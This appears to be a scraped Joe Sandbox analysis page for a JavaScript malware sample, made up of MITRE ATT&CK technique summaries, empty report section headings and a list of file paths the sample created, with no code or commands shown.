Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3132773231614716983.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\067f49e7-8cef-4ad3-a9dd-11e364676402.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8156

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
3132773231614716983.js